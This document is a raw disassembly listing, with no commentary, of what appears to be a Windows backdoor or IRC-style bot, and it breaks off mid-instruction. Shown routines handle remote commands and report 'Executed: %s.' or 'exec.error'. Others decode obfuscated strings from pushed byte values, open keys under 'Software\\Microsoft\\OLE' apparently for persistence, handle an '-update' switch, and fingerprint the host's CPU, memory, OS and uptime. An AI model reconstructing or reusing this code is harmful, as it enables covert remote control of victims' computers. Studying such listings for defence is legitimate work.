byte_4D60A5 call sub_401118 lea ecx, [esp+178h+var_11C] mov bl, al mov [esp+178h+var_4], ebp call sub_401226 mov al, bl jmp loc_405675 ; --------------------------------------------------------------------------- loc_405431: ; CODE XREF: sub_404C70+50Fj lea ecx, [edi+0BCDh] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405522 lea ecx, [edi+9] call sub_4017E4 lea edx, [esp+178h+var_164] push eax push edx call sub_402022 add esp, 8 push 0 push 25h push 1Dh push 23h lea eax, [esp+188h+var_14C] mov ebx, 11h push 28h push eax mov [esp+190h+var_4], ebx call sub_4019B5 add esp, 18h mov esi, eax lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 12h call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax push offset aSS_0 ; "%s %s\r\n" push offset byte_4D60A5 call sub_401E0B add esp, 10h lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], bl call sub_401226 push 20h lea ecx, [esp+17Ch+var_14C] push 0 push ecx lea ecx, [esp+184h+var_164] call sub_4012B2 mov ecx, eax mov byte ptr [esp+178h+var_4], 13h call sub_4017E4 push eax push offset aS ; "%s" push offset byte_4E6E75 call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_405522: ; CODE XREF: sub_404C70+7D6j lea ecx, [edi+0E23h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405690 push offset asc_443600 ; " " lea edx, [esp+17Ch+var_11C] push 1 push edx mov ecx, esi call sub_4016AE mov edi, eax mov ecx, ebp mov [esp+178h+var_4], 14h call sub_4013D9 mov ecx, edi mov ebx, eax call sub_4013D9 mov ecx, esi lea edi, [ebx+eax+3] call sub_4013D9 cmp eax, edi lea ecx, [esp+178h+var_11C] setle bl or edi, 0FFFFFFFFh mov [esp+178h+var_4], edi call sub_401226 test bl, bl jnz loc_405673 lea ecx, [esp+178h+var_14C] call sub_401424 mov ecx, ebp mov [esp+178h+var_4], 15h call sub_4013D9 add eax, 2 mov ecx, esi push eax call sub_40146F push eax lea ecx, [esp+17Ch+var_14C] call sub_4015D7 lea ecx, [esp+178h+var_164] call sub_401424 lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], 16h call sub_4017E4 push eax lea eax, [esp+17Ch+var_164] push offset aExecutedS_ ; "Executed: %s." push eax call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_14C] call sub_4017E4 push eax nop call near ptr 77C293C7h add esp, 4 cmp eax, edi lea ecx, [esi+69h] jnz short loc_40562A call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aExec_error ; "exec.error" push ecx push edx jmp short loc_405648 ; --------------------------------------------------------------------------- loc_40562A: ; CODE XREF: sub_404C70+99Dj call sub_4014D3 push eax lea ecx, [esp+17Ch+var_164] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx loc_405648: ; CODE XREF: sub_404C70+9B8j mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 15h call sub_401226 mov [esp+178h+var_4], edi lea ecx, [esp+178h+var_14C] loc_40566E: ; CODE XREF: sub_404C70+1D4j ; sub_404C70+2AFj ... call sub_401226 loc_405673: ; CODE XREF: sub_404C70+922j ; sub_404C70+C70j xor al, al loc_405675: ; CODE XREF: sub_404C70+6Fj ; sub_404C70+200j ... mov ecx, [esp+178h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 168h retn 4 ; --------------------------------------------------------------------------- loc_405690: ; CODE XREF: sub_404C70+8C7j lea ecx, [edi+0C85h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_405706 lea edx, [esp+178h+var_164] mov ecx, edi push edx call sub_401F3C mov edi, eax lea ecx, [esi+69h] mov [esp+178h+var_4], 17h call sub_4014D3 push eax mov ecx, edi call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+178h+var_164] mov bl, al mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_405675 ; --------------------------------------------------------------------------- loc_405706: ; CODE XREF: sub_404C70+A35j lea ecx, [edi+0CE1h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4057F7 push 1 push offset asc_443600 ; " " lea edx, [esp+180h+var_14C] push 1 push edx mov ecx, esi call sub_4011EA push 20h lea ecx, [esp+17Ch+var_164] push 0 push ecx mov ecx, eax mov [esp+184h+var_4], 18h call sub_4012B2 mov ecx, eax mov byte ptr [esp+178h+var_4], 19h call sub_4017E4 push eax push offset aS ; "%s" push offset byte_4E6E75 call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 18h call sub_401226 or edi, 0FFFFFFFFh lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], edi call sub_401226 push 0 push 25h push 1Dh push 23h lea edx, [esp+188h+var_164] push 28h push edx call sub_4019B5 add esp, 18h mov esi, eax mov ecx, offset byte_4E6E75 mov [esp+178h+var_4], 1Ah call sub_4017E4 push eax mov ecx, esi call sub_4017E4 push eax push offset aSS_0 ; "%s %s\r\n" push offset byte_4D60A5 call sub_401E0B add esp, 10h lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], edi call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_4057F7: ; CODE XREF: sub_404C70+AABj lea ecx, [edi+0CB3h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4058CB push offset asc_443600 ; " " lea eax, [esp+17Ch+var_14C] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+178h+var_4], 1Bh call sub_4017E4 push eax nop call near ptr 77C1BF18h or ebp, 0FFFFFFFFh add esp, 4 lea ecx, [esp+178h+var_14C] mov ebx, eax mov [esp+178h+var_4], ebp call sub_401226 test ebx, ebx jnz short loc_40585F mov ebx, 7 loc_40585F: ; CODE XREF: sub_404C70+BE8j lea ecx, [esp+178h+var_164] push ebx push ecx mov ecx, edi call sub_40194C push offset byte_446F60 lea ecx, [esp+17Ch+var_164] mov [esp+17Ch+var_4], 1Ch call sub_4012EE test eax, eax jz short loc_4058B4 lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+17Ch+var_164] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60A5 call sub_401118 loc_4058B4: ; CODE XREF: sub_404C70+C17j lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], ebp call sub_401226 mov al, 1 jmp loc_405675 ; --------------------------------------------------------------------------- loc_4058CB: ; CODE XREF: sub_404C70+B9Cj lea ecx, [edi+0DF5h] call sub_4017E4 push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405673 lea ecx, [esp+178h+var_100] call sub_401424 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+22Ch+var_164] push 2Dh push ecx mov [esp+234h+var_4], 1Dh call sub_4019B5 add esp, 0BCh mov ecx, eax mov byte ptr [esp+178h+var_4], 1Eh call sub_4017E4 push eax lea ecx, [esp+17Ch+var_100] call sub_401A87 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 1Dh call sub_401226 mov edi, offset aN ; "N" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+178h+var_8C] repne scasb not ecx sub edi, ecx mov [esp+178h+var_168], 0 mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb lea edi, [esp+178h+var_8C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov esi, dword_50F75C mov edi, ecx lea ecx, [esp+178h+var_168] push ecx push 20019h push eax push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push 80000002h call esi push 0 push 27h push 29h push 1Dh push 1Eh push 5 push 0Ch push 2 push 1 push 0Eh lea edx, [esp+1B4h+var_178] push 1Fh push edx call sub_4019B5 add esp, 30h lea ecx, [esp+18Ch+var_A0] push edi push ecx push 1 push 0 mov ecx, eax mov [esp+19Ch+var_18], 1Fh call sub_4017E4 mov edx, [esp+19Ch+var_17C] push eax push edx call near ptr 2AB0000h nop lea ecx, [esp+1A4h+var_190] mov [esp+1A4h+var_30], 1Dh call sub_401226 mov eax, [esp+1A4h+var_194] mov edi, dword_50F738 push eax call edi lea ecx, [esp+1A8h+var_198] push ecx push 0F003Fh push 0 lea ecx, [esp+1B4h+var_130] call sub_4017E4 push eax push 80000002h call esi push 0 push 5 push 18h push 5 push 4Eh push 5 push 14h push 1 push 13h lea edx, [esp+1E0h+var_1A8] push 2Dh push edx call sub_4019B5 add esp, 2Ch mov ecx, eax mov [esp+1BCh+var_48], 20h call sub_4017E4 mov ebp, dword_50F764 push eax mov eax, [esp+1C0h+var_1AC] push eax call ebp lea ecx, [esp+1C4h+var_1B0] mov [esp+1C4h+var_50], 1Dh call sub_401226 mov ecx, [esp+1C4h+var_1B4] push ecx call edi push 0 push 5 push 18h push 5 push 4Eh push 48h push 0Eh push 15h push 12h lea edx, [esp+1ECh+var_1B4] push 9 push edx call sub_4019B5 add esp, 2Ch mov ecx, eax mov [esp+1C8h+var_54], 21h call sub_4017E4 push eax call sub_4015FA sub_404C70 endp ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 14244C8Dh, 742484C6h, 1D000001h, 0FFB709E8h, 244C8DFFh dd 0B8FEE844h, 22B3FFFFh, 10468h, 1046800h, 4C8D0000h dd 9C884C24h, 17C24h, 0C11BE800h, 9050FFFFh, 55AE18E8h dd 6A006A02h, 6A186A05h, 6A4E6A05h, 6A0E6A48h, 8D126A15h dd 6A382444h, 4EE85009h, 83FFFFBEh, 0C88B2CC4h, 742484C6h dd 23000001h, 0FFBC6BE8h, 4C8D50FFh, 61E84824h, 50FFFFBCh dd 4C244C8Dh, 44368468h, 9AE85100h, 83FFFFB4h, 4C8D10C4h dd 9C881424h, 17424h, 0B680E800h, 4C8DFFFFh, 0D2E84424h dd 50FFFFBAh, 0AC0CE890h, 548D0255h, 4C8D1024h, 68527824h dd 0F003Fh, 19E8006Ah, 50FFFFBCh, 268h, 6AD6FF80h, 6A056A00h dd 6A056A18h, 6A056A4Eh, 8D016A14h, 6A342444h, 0C6E85012h dd 83FFFFBDh, 0C88B28C4h, 742484C6h, 24000001h, 0FFBBE3E8h dd 244C8BFFh, 0FF515010h, 244C8DD5h, 249C8814h, 174h, 0FFB60DE8h dd 24548BFFh, 0D7FF5210h, 56A006Ah, 56A186Ah, 486A4E6Ah dd 486A0E6Ah, 126A496Ah, 456A456Ah, 4424448Dh, 0E850096Ah dd 0FFFFBD71h, 8B38C483h, 2484C6C8h, 174h, 0BB8EE825h dd 0E850FFFFh, 0FFFFB99Eh, 8D04C483h, 8814244Ch, 174249Ch dd 0B7E80000h, 68FFFFB5h, 104h, 10468h, 244C8D00h, 0BFDBE84Ch dd 9050FFFFh, 55ACD8E8h, 6A006A02h, 6A186A05h, 6A4E6A05h dd 6A0E6A48h, 6A496A48h, 6A456A12h, 244C8D45h, 51096A44h dd 0FFBD08E8h, 38C483FFh, 84C6C88Bh, 17424h, 25E82600h dd 50FFFFBBh, 48244C8Dh, 0FFBB1BE8h, 548D50FFh, 84684C24h dd 52004436h, 0FFB354E8h, 10C483FFh, 14244C8Dh, 74249C88h dd 0E8000001h, 0FFFFB53Ah, 44244C8Dh, 0FFB98CE8h, 0C7E850FFh dd 900255AAh, 1024448Dh, 78244C8Dh, 3F6850h, 6A000Fh, 0FFBAD3E8h dd 26850FFh, 0FF800000h, 6A006AD6h, 6A186A05h, 6A4E6A05h dd 6A146A05h, 8D136A01h, 6A38244Ch, 7EE85113h, 83FFFFBCh dd 0C88B2CC4h, 742484C6h, 27000001h, 0FFBA9BE8h, 24548BFFh dd 0FF525010h, 244C8DD5h, 249C8814h, 174h, 0FFB4C5E8h dd 24448BFFh, 0D7FF5010h, 56A006Ah, 56A186Ah, 136A4E6Ah dd 136A196Ah, 96A0E6Ah, 3C244C8Dh, 0E851176Ah, 0FFFFBC2Dh dd 8B30C483h, 2484C6C8h, 174h, 0BA4AE828h, 0E850FFFFh dd 0FFFFB85Ah, 8D04C483h, 8814244Ch, 174249Ch, 73E80000h dd 68FFFFB4h, 104h, 10468h, 244C8D00h, 0BE97E84Ch, 9050FFFFh dd 55AB94E8h, 6A006A02h, 6A186A05h, 6A4E6A05h, 6A196A13h dd 6A0E6A13h, 24548D09h, 52176A3Ch, 0FFBBC8E8h, 30C483FFh dd 84C6C88Bh, 17424h, 0E5E82900h, 50FFFFB9h, 48244C8Dh dd 0FFB9DBE8h, 448D50FFh, 84684C24h, 50004436h, 0FFB214E8h dd 10C483FFh, 14244C8Dh, 74249C88h, 0E8000001h, 0FFFFB3FAh dd 44244C8Dh, 0FFB84CE8h, 0E89050FFh, 255A986h, 10244C8Dh dd 3F6851h, 6A000Fh, 84248C8Dh, 0E8000000h, 0FFFFB990h dd 26850h, 0D6FF8000h, 56A006Ah, 56A186Ah, 56A4E6Ah, 16A146Ah dd 106A046Ah, 46A156Ah, 548D476Ah, 46A4824h, 0BB33E852h dd 0C483FFFFh, 0C6C88B3Ch, 1742484h, 0E82A0000h, 0FFFFB950h dd 24448B50h, 0D5FF5014h, 14244C8Dh, 74249C88h, 0E8000001h dd 0FFFFB37Ah, 10244C8Bh, 6AD7FF51h, 6A056A00h, 6A056A18h dd 6A056A4Eh, 6A076A0Ch, 6A056A01h, 24548D02h, 52026A40h dd 0FFBAE0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0FDE82B00h dd 50FFFFB8h, 0FFB70DE8h, 4C483FFh, 14244C8Dh, 74249C88h dd 0E8000001h, 0FFFFB326h, 10468h, 1046800h, 4C8D0000h dd 4AE84C24h, 50FFFFBDh, 0AA47E890h, 6A0255h, 186A056Ah dd 4E6A056Ah, 0C6A056Ah, 16A076Ah, 26A056Ah, 4024448Dh dd 0E850026Ah, 0FFFFBA79h, 8B34C483h, 2484C6C8h, 174h dd 0B896E82Ch, 8D50FFFFh, 0E848244Ch, 0FFFFB88Ch, 244C8D50h dd 3684684Ch, 0E8510044h, 0FFFFB0C5h, 8D10C483h, 8814244Ch dd 174249Ch, 0ABE80000h, 8DFFFFB2h, 0E844244Ch, 0FFFFB6FDh dd 0A838E850h, 8D900255h, 8D102454h, 5278244Ch, 0F003F68h dd 0E8006A00h, 0FFFFB844h, 26850h, 0D6FF8000h, 0E6A006Ah dd 276A0F6Ah, 136A0B6Ah, 448D016Ah, 2E6A3024h, 0B9F3E850h dd 0C483FFFFh, 0C6C88B24h, 1742484h, 0E82D0000h, 0FFFFB810h dd 10244C8Bh, 0D5FF5150h, 14244C8Dh, 74249C88h, 0E8000001h dd 0FFFFB23Ah, 1024548Bh, 6AD7FF52h, 6A056A00h, 6A056A18h dd 6A0E6A4Eh, 6A0D6A0Fh, 6A136A0Bh, 24448D01h, 50146A40h dd 0FFB9A0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0BDE82E00h dd 50FFFFB7h, 0FFB5CDE8h, 4C483FFh, 14244C8Dh, 74249C88h dd 0E8000001h, 0FFFFB1E6h, 10468h, 1046800h, 4C8D0000h dd 0AE84C24h, 50FFFFBCh, 0A907E890h, 6A0255h, 186A056Ah dd 4E6A056Ah, 0F6A0E6Ah, 0B6A0D6Ah, 16A136Ah, 40244C8Dh dd 0E851146Ah, 0FFFFB939h, 8B34C483h, 2484C6C8h, 174h dd 0B756E82Fh, 8D50FFFFh, 0E848244Ch, 0FFFFB74Ch, 36846850h dd 548D0044h, 0E8525024h, 0FFFFAF85h, 8D10C483h, 8814244Ch dd 174249Ch, 6BE80000h, 8DFFFFB1h, 0E844244Ch, 0FFFFB5BDh dd 0F7E89050h, 8D0255A6h, 8D102444h, 5078244Ch, 0F003F68h dd 0E8006A00h, 0FFFFB704h, 26850h, 0D6FF8000h, 126A006Ah dd 126A056Ah, 0C6A0F6Ah, 186A106Ah, 0B0248C8Dh, 6A000000h dd 0AEE8511Fh, 83FFFFB8h, 0C88B28C4h, 742484C6h, 30000001h dd 0FFB6CBE8h, 24548BFFh, 0FF525010h, 248C8DD5h, 90h, 74249C88h dd 0E8000001h, 0FFFFB0F2h, 1024448Bh, 8BD7FF50h, 50FB0435h dd 36686800h, 0D6FF0044h, 44364C68h, 68D6FF00h, 44362Ch dd 868D6FFh, 0FF004436h, 10C483D6h, 44244C8Dh, 742484C6h dd 1D000001h, 0FFB0B5E8h, 244C8DFFh, 2484C778h, 174h, 0FFFFFFFFh dd 0FFB0A1E8h, 0E901B0FFh, 0FFFFF4E9h, 90909090h, 154h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_4066E0 proc near ; CODE XREF: sub_40194Cj var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4066E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push ebp push esi xor ebx, ebx push edi lea ecx, [esp+38h+var_24] mov [esp+38h+var_28], ebx call sub_401424 mov esi, [esp+38h+arg_4] mov ebp, 1 cmp esi, ebx mov [esp+38h+var_4], ebp jnz short loc_406731 mov esi, [esp+38h+arg_0] push ebx mov ecx, esi call sub_4020F4 mov [esp+38h+var_28], ebp jmp loc_4067D7 ; --------------------------------------------------------------------------- loc_406731: ; CODE XREF: sub_4066E0+3Aj nop call near ptr 2960743h mov ecx, eax mov eax, 10624DD3h mul ecx mov ecx, edx mov eax, 0C22E4507h shr ecx, 6 imul ecx add edx, ecx sar edx, 10h mov eax, edx shr eax, 1Fh add edx, eax mov edi, edx cmp edi, esi jl short loc_4067C3 mov eax, ecx mov ecx, 15180h cdq idiv ecx mov esi, 0E10h mov ecx, edx mov eax, ecx cdq idiv esi mov eax, 88888889h mov esi, edx imul esi add edx, esi sar edx, 5 mov eax, edx shr eax, 1Fh add edx, eax mov eax, 91A2B3C5h push edx imul ecx add edx, ecx sar edx, 0Bh mov ecx, edx shr ecx, 1Fh add edx, ecx push edx push edi lea edx, [esp+44h+var_24] push offset aUpDdDhDm ; "up: %dd %dh %dm" push edx call sub_40102D mov esi, [esp+4Ch+arg_0] add esp, 14h lea eax, [esp+38h+var_24] mov ecx, esi push eax call sub_4014C9 jmp short loc_4067D3 ; --------------------------------------------------------------------------- loc_4067C3: ; CODE XREF: sub_4066E0+7Cj mov esi, [esp+38h+arg_0] push offset byte_446F60 mov ecx, esi call sub_401861 loc_4067D3: ; CODE XREF: sub_4066E0+E1j mov [esp+38h+var_28], ebp loc_4067D7: ; CODE XREF: sub_4066E0+4Cj lea ecx, [esp+38h+var_24] mov byte ptr [esp+38h+var_4], bl call sub_401226 mov ecx, [esp+38h+var_C] mov eax, esi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 28h retn 8 sub_4066E0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_406850: ; CODE XREF: ___:00401668j push ecx push esi mov esi, [esp+0Ch] push offset byte_446F60 mov ecx, esi mov dword ptr [esp+8], 0 call sub_401861 mov eax, esi pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406890 proc near ; CODE XREF: sub_401F3Cj var_198 = dword ptr -198h var_194 = dword ptr -194h var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_174 = byte ptr -174h var_164 = byte ptr -164h var_14C = byte ptr -14Ch var_144 = dword ptr -144h var_140 = dword ptr -140h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_406890 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18Ch push ebp push esi push edi lea ecx, [esp+1A4h+var_18C] mov [esp+1A4h+var_198], 0 call sub_401424 mov [esp+1A4h+var_4], 1 nop call near ptr 2960743h mov ecx, eax mov eax, 10624DD3h mul ecx mov esi, edx lea edx, [esp+1A4h+var_14C] push edx mov [esp+1A8h+var_190], 10h shr esi, 6 mov [esp+1A8h+var_194], 15h nop call near ptr 29A0000h lea eax, [esp+1A4h+var_12C] mov [esp+1A4h+var_12C], 94h push eax nop call near ptr 2990000h mov eax, [esp+1A4h+var_128] cmp eax, 4 jnz short loc_40695E mov eax, [esp+1A4h+var_124] test eax, eax jnz short loc_406946 mov eax, [esp+1A4h+var_11C] cmp eax, 1 jnz short loc_406936 mov ebp, offset a95 ; "95" jmp loc_4069D1 ; --------------------------------------------------------------------------- loc_406936: ; CODE XREF: sub_406890+9Aj cmp eax, 2 jnz loc_4069CD mov ebp, offset aNt ; "NT" jmp short loc_40699A ; --------------------------------------------------------------------------- loc_406946: ; CODE XREF: sub_406890+8Ej cmp eax, 0Ah jnz short loc_406952 mov ebp, offset a98 ; "98" jmp short loc_406990 ; --------------------------------------------------------------------------- loc_406952: ; CODE XREF: sub_406890+B9j cmp eax, 5Ah jnz short loc_40698B mov ebp, offset aMe ; "ME" jmp short loc_406990 ; --------------------------------------------------------------------------- loc_40695E: ; CODE XREF: sub_406890+83j cmp eax, 5 jnz short loc_40698B mov eax, [esp+1A4h+var_124] test eax, eax jnz short loc_406975 mov ebp, offset a2000 ; "2000" jmp short loc_406990 ; --------------------------------------------------------------------------- loc_406975: ; CODE XREF: sub_406890+DCj cmp eax, 1 jnz short loc_406981 mov ebp, offset aXp ; "XP" jmp short loc_406990 ; --------------------------------------------------------------------------- loc_406981: ; CODE XREF: sub_406890+E8j cmp eax, 2 mov ebp, offset a2003 ; "2003" jz short loc_406990 loc_40698B: ; CODE XREF: sub_406890+C5j ; sub_406890+D1j mov ebp, offset a??? ; "???" loc_406990: ; CODE XREF: sub_406890+C0j ; sub_406890+CCj ... cmp [esp+1A4h+var_11C], 2 jnz short loc_4069D1 loc_40699A: ; CODE XREF: sub_406890+B4j mov al, [esp+1A4h+var_118] test al, al jz short loc_4069D1 lea ecx, [esp+1A4h+var_118] lea edx, [esp+1A4h+var_98] push ecx push ebp push offset aSS_2 ; "%s [%s]" push edx nop call sub_5EA1BD add esp, 10h lea ebp, [esp+1A4h+var_98] jmp short loc_4069D1 ; --------------------------------------------------------------------------- loc_4069CD: ; CODE XREF: sub_406890+A9j mov ebp, [esp+1A4h+var_198] loc_4069D1: ; CODE XREF: sub_406890+A1j ; sub_406890+108j ... lea eax, [esp+1A4h+var_190] lea ecx, [esp+1A4h+var_174] push eax push ecx call near ptr 29810A1h nop lea edx, [esp+1A4h+var_194] lea eax, [esp+1A4h+var_164] push edx push eax call near ptr 2AA0000h nop mov eax, esi mov ecx, 15180h cdq idiv ecx lea eax, [esp+1A4h+var_174] mov edi, 0E10h mov ecx, edx lea edx, [esp+1A4h+var_164] push edx push eax mov eax, ecx cdq idiv edi mov eax, 88888889h mov edi, edx imul edi add edx, edi sar edx, 5 mov eax, edx shr eax, 1Fh add edx, eax mov eax, 91A2B3C5h push edx imul ecx add edx, ecx mov eax, 0C22E4507h sar edx, 0Bh mov ecx, edx shr ecx, 1Fh add edx, ecx mov ecx, [esp+1B0h+var_120] push edx imul esi add edx, esi sar edx, 10h mov eax, edx shr eax, 1Fh add edx, eax mov eax, [esp+1B4h+var_128] push edx mov edx, [esp+1B8h+var_124] push ecx mov ecx, [esp+1BCh+var_144] push edx push eax mov eax, 804021h push ebp mul ecx sub ecx, edx mov eax, 804021h shr ecx, 1 add ecx, edx shr ecx, 13h push ecx mov ecx, [esp+1CCh+var_140] mul ecx sub ecx, edx shr ecx, 1 add ecx, edx shr ecx, 13h push ecx call sub_4017F3 push eax lea ecx, [esp+1D4h+var_18C] push offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "... push ecx call sub_40102D mov esi, [esp+1DCh+arg_0] add esp, 38h lea edx, [esp+1A4h+var_18C] push edx mov ecx, esi call sub_4014C9 mov [esp+1A4h+var_198], 1 lea ecx, [esp+1A4h+var_18C] mov byte ptr [esp+1A4h+var_4], 0 call sub_401226 mov ecx, [esp+1A4h+var_C] mov eax, esi pop edi pop esi pop ebp mov large fs:0, ecx add esp, 198h retn 4 sub_406890 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406BA0 proc near ; CODE XREF: sub_4015DCj mov eax, ecx mov dword ptr [eax], offset off_43E008 mov dword ptr [eax+110h], 0 retn sub_406BA0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_406BD0: ; CODE XREF: ___:00401F8Cj push esi mov esi, ecx call sub_40143D test byte ptr [esp+8], 1 jz short loc_406BE8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_406BE8: ; CODE XREF: ___:00406BDDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406C00 proc near ; CODE XREF: sub_40143Dj mov dword ptr [ecx], offset off_43E008 mov ecx, [ecx+110h] test ecx, ecx jz short locret_406C17 push ecx call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx locret_406C17: ; CODE XREF: sub_406C00+Ej retn sub_406C00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_406C30 proc near ; CODE XREF: sub_401384j arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_406C30 push eax mov large fs:0, esp sub esp, 448h push ebx mov ebx, ecx mov eax, [ebx+110h] test eax, eax jz short loc_406C61 push eax call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_406C61: ; CODE XREF: sub_406C30+26j push ebp push esi mov esi, [esp+460h+arg_0] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx call sub_4367FA sub_406C30 endp ; --------------------------------------------------------------------------- mov edx, eax mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax mov [ebx+110h], edx repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov edi, [ebx+110h] or ecx, 0FFFFFFFFh mov byte ptr [ebx+4], 0 mov dword ptr [ebx+5], 0 mov byte ptr [ebx+9], 0 mov byte ptr [ebx+0Ah], 0 mov byte ptr [ebx+0Bh], 0 repne scasb not ecx push ecx call sub_4367FA ; --------------------------------------------------------------------------- mov edi, [ebx+110h] mov edx, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov ebp, dword_50FAF4 mov eax, ecx mov esi, edi mov edi, edx push offset asc_443600 ; " " shr ecx, 2 rep movsd mov ecx, eax push edx and ecx, 3 rep movsb call ebp ; strtok add esp, 10h mov [esp+58h], eax lea esi, [esp+5Ch] mov edi, 0FFh loc_406D12: ; CODE XREF: ___:00406D24j push offset asc_443600 ; " " push 0 call ebp ; strtok mov [esi], eax add esp, 8 add esi, 4 dec edi jnz short loc_406D12 mov eax, [esp+58h] xor ecx, ecx cmp eax, ecx jz loc_406F18 lea ebp, [esp+58h] loc_406D38: ; CODE XREF: ___:00406F10j mov edi, [ebp+0] mov esi, offset dword_4437EC mov eax, edi loc_406D42: ; CODE XREF: ___:00406D60j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406D66 test cl, cl jz short loc_406D62 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406D66 add eax, 2 add esi, 2 test cl, cl jnz short loc_406D42 loc_406D62: ; CODE XREF: ___:00406D4Cj xor eax, eax jmp short loc_406D6B ; --------------------------------------------------------------------------- loc_406D66: ; CODE XREF: ___:00406D48j ; ___:00406D56j sbb eax, eax sbb eax, 0FFFFFFFFh loc_406D6B: ; CODE XREF: ___:00406D64j test eax, eax jz loc_406F08 mov esi, offset aUpdate ; "-update" mov eax, edi loc_406D7A: ; CODE XREF: ___:00406D98j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406D9E test cl, cl jz short loc_406D9A mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406D9E add eax, 2 add esi, 2 test cl, cl jnz short loc_406D7A loc_406D9A: ; CODE XREF: ___:00406D84j xor eax, eax jmp short loc_406DA3 ; --------------------------------------------------------------------------- loc_406D9E: ; CODE XREF: ___:00406D80j ; ___:00406D8Ej sbb eax, eax sbb eax, 0FFFFFFFFh loc_406DA3: ; CODE XREF: ___:00406D9Cj test eax, eax jnz short loc_406DB0 mov byte ptr 